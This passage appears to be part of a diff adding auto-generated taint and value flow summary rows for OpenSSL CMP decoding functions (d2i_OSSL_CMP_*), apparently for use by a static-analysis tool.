"df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTSTATUS", "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CHALLENGE", "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSOURCE", "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CRLSTATUS", "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ERRORMSGCONTENT", "(OSSL_CMP_ERRORMSGCONTENT **,const 